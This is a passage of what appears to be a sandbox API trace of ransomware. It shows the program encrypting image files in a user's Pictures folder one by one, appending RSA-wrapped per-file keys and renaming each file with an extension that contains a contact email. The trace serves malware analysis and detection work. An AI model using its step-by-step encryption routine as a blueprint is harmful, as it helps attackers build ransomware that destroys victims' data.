[0148.153] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.153] CloseHandle (hObject=0x600) returned 1 [0148.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.154] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\XDXto.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xdxto.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\XDXto.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\xdxto.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0148.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0148.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be210 [0148.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.157] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.157] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\wyBDIM.gif", dwFileAttributes=0x80) returned 1 [0148.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0148.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0148.158] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0148.158] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\wyBDIM.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\wybdim.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.158] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=28561) returned 1 [0148.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6f91) returned 0x631898 [0148.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6f91) returned 0x638838 [0148.158] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x6f91, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x6f91, lpOverlapped=0x0) returned 1 [0148.159] SetFilePointer (in: hFile=0x600, lDistanceToMove=-28561, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.159] WriteFile (in: hFile=0x600, lpBuffer=0x638838*, nNumberOfBytesToWrite=0x6f91, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x638838*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6f91, lpOverlapped=0x0) returned 1 [0148.160] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.160] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x638838 | out: hHeap=0x570000) returned 1 [0148.160] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6f91 [0148.160] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.160] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.160] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.160] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.160] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.160] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="HgTERcVGYxlum8sAvKLTkgSEWKfq0ZHE8D/ys9pM/Pa3Hb7PJexL84Hpxzd6u+j/\nWL1ot12FLth8EMi0IsLpvwsdRBfAWZR4uG/b+xhRdlxdkJqzlPcE+5RhKasZqS/O\nMeJrICKlt4MpAkWvSgmPibZCHc34dskQaV9p2bcDpfH2WpaxXXelc78GKhlVgwCI\nvb30NleZ0PlGkpP294gHw9c1zT22AeWChwRmORPj2D3+OIfclAnv8SSXFKrfhjiG\nGZkxE43Y3WuquUqQoc5EFEHLVxgOUuXRcZ0nbGTvSt6xYTqP40A5gdGSt6VPyfdb\ncz+q8vnmSs7lTyPY3brjQg==\n", pcchString=0x2e3f9a8) returned 1 [0148.160] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.161] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.161] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.161] CloseHandle (hObject=0x600) returned 1 [0148.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.161] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\wyBDIM.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\wybdim.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\wyBDIM.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\wybdim.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0148.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0148.163] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be5d8 [0148.163] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.163] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.163] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\ULudUyN.jpg", dwFileAttributes=0x80) returned 1 [0148.163] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0148.163] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0148.163] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\ULudUyN.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\uluduyn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.163] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=9535) returned 1 [0148.164] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x253f) returned 0x631898 [0148.164] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x253f) returned 0x633de0 [0148.164] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x253f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x253f, lpOverlapped=0x0) returned 1 [0148.164] SetFilePointer (in: hFile=0x600, lDistanceToMove=-9535, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.165] WriteFile (in: hFile=0x600, lpBuffer=0x633de0*, nNumberOfBytesToWrite=0x253f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x633de0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x253f, lpOverlapped=0x0) returned 1 [0148.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x633de0 | out: hHeap=0x570000) returned 1 [0148.165] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x253f [0148.165] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.165] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.165] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.165] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.165] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.166] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="7lsbF6Dd3pmei9czECDWOt3JGJSF6oj0beSG7kC7jFuHeF7oG+1G8xiGst2QdIC1\nsgv0Ljo+Vz25p5Pd04F+63ixiTrYV6J11+D8Q9VLZ+/3YC+5r5FUPsP1RCLFXtBM\n044qrScddbTHLRocne0fVRhMKFnV/pEaQs5nC1i3CdU5I7H0kpvAgaphioAi+4VL\njQwRKIy08uTB3650Giv/SCwQbAduZeNckSMTlh6nd5icPNcAu0Jn/0LMO/CvE25s\n3YQJAEKvNiap3PEtJMacKLoxGi0J81kTlc1PHmYERQLv9aj6GxKhSH+w8MS+oUDD\nkV+PU4HxmRvfHqFt5T3REw==\n", pcchString=0x2e3f9a8) returned 1 [0148.166] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.166] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.166] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.166] CloseHandle (hObject=0x600) returned 1 [0148.166] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.166] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\ULudUyN.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\uluduyn.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\ULudUyN.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\uluduyn.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be5d8 | out: hHeap=0x570000) returned 1 [0148.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec60 | out: hHeap=0x570000) returned 1 [0148.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631010 [0148.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.170] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.170] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\T_Uksl3tkzyzZ0KXQj.gif", dwFileAttributes=0x80) returned 1 [0148.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631078 [0148.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e170 [0148.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631078 | out: hHeap=0x570000) returned 1 [0148.171] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\T_Uksl3tkzyzZ0KXQj.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\t_uksl3tkzyzz0kxqj.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.171] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=96227) returned 1 [0148.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x177e3) returned 0x631898 [0148.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x177e3) returned 0x649088 [0148.171] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x177e3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x177e3, lpOverlapped=0x0) returned 1 [0148.174] SetFilePointer (in: hFile=0x600, lDistanceToMove=-96227, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.174] WriteFile (in: hFile=0x600, lpBuffer=0x649088*, nNumberOfBytesToWrite=0x177e3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x649088*, lpNumberOfBytesWritten=0x2e3f9b4*=0x177e3, lpOverlapped=0x0) returned 1 [0148.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x649088 | out: hHeap=0x570000) returned 1 [0148.175] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x177e3 [0148.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.175] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="kd/EOtUyiNizMapxBOFLmMX/ulM+No01Ug1xoCBS4U6i2mrXYwYOtNCc9dc9gmr5\naCYU59tEfW0NARBAbDg4Vft60b3jw+2Rzag2vZO0pdudHn6CD+YMoU5r6K+9drrn\ntO0oeaWiP5OqRdf6WIFjYzjQEpqKlUz8H2RnNsQYhM4ZBY8IqzIcfAwvDtsQDWyW\nCZaKpvYmsJEVlkQwuU108rEOvtvdvricZBs4/PVYtL+6ryeHCgXxE78MleXS6IoF\n+dQFP58AJbxID3KehAOfiBklNDlAcdK7oBky9q8z1/HhYCvdC9iumP/jyT+MlK2Q\nU15Q43r0B5M5fBXOrDemgg==\n", pcchString=0x2e3f9a8) returned 1 [0148.176] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.176] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.176] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.176] CloseHandle (hObject=0x600) returned 1 [0148.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.176] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\T_Uksl3tkzyzZ0KXQj.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\t_uksl3tkzyzz0kxqj.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\T_Uksl3tkzyzZ0KXQj.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\t_uksl3tkzyzz0kxqj.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0148.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631010 | out: hHeap=0x570000) returned 1 [0148.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630ed8 | out: hHeap=0x570000) returned 1 [0148.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x630cd0 [0148.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.178] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.178] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\tnMrQ F4q2YGrF.bmp", dwFileAttributes=0x80) returned 1 [0148.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6310e0 [0148.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.179] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6310e0 | out: hHeap=0x570000) returned 1 [0148.179] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\tnMrQ F4q2YGrF.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\tnmrq f4q2ygrf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.179] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=47600) returned 1 [0148.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb9f0) returned 0x631898 [0148.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb9f0) returned 0x63d290 [0148.179] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xb9f0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xb9f0, lpOverlapped=0x0) returned 1 [0148.181] SetFilePointer (in: hFile=0x600, lDistanceToMove=-47600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.181] WriteFile (in: hFile=0x600, lpBuffer=0x63d290*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63d290*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb9f0, lpOverlapped=0x0) returned 1 [0148.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63d290 | out: hHeap=0x570000) returned 1 [0148.181] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb9f0 [0148.182] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.182] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.182] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.182] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.183] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.183] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="4Fmo6Or5FDUwo80eAulxf3asDU2+eQuUTK/SphQbc+bJWBAbyiYgEKbNGk/zsJrI\nNSf2wMiITmXJfiYzdXzOB4KzUc+xJbapaVGieRuo9Hso5PZAztXw2TPSqQbITfz/\nHbcSD6P/pYWDCBL6DQH/vvnd/SmDI+vbcbiy8pIPlQmFBBTpkbEV0E5B7fv2RHyp\nPEkWgg1NtcPQqDmbJJG4FIIKEVxUDn2gUnhRd+LCy1UVUUuSDBLmPLYI3YN+dxXZ\nMsxELJYd1L22xOsASiQJEELEkoSpphsLoMkN0AJwM5782eyxDHMUovBSygck5wkh\nuPGY6k1DsZX0b9j3qCvCog==\n", pcchString=0x2e3f9a8) returned 1 [0148.183] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.183] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.183] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.183] CloseHandle (hObject=0x600) returned 1 [0148.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.183] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\tnMrQ F4q2YGrF.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\tnmrq f4q2ygrf.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\tnMrQ F4q2YGrF.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\tnmrq f4q2ygrf.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630cd0 | out: hHeap=0x570000) returned 1 [0148.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631420 | out: hHeap=0x570000) returned 1 [0148.185] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x630c00 [0148.185] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.185] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.185] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\s1kxL5OunrcXaw.bmp", dwFileAttributes=0x80) returned 1 [0148.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x630c68 [0148.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630c68 | out: hHeap=0x570000) returned 1 [0148.186] CreateFileW 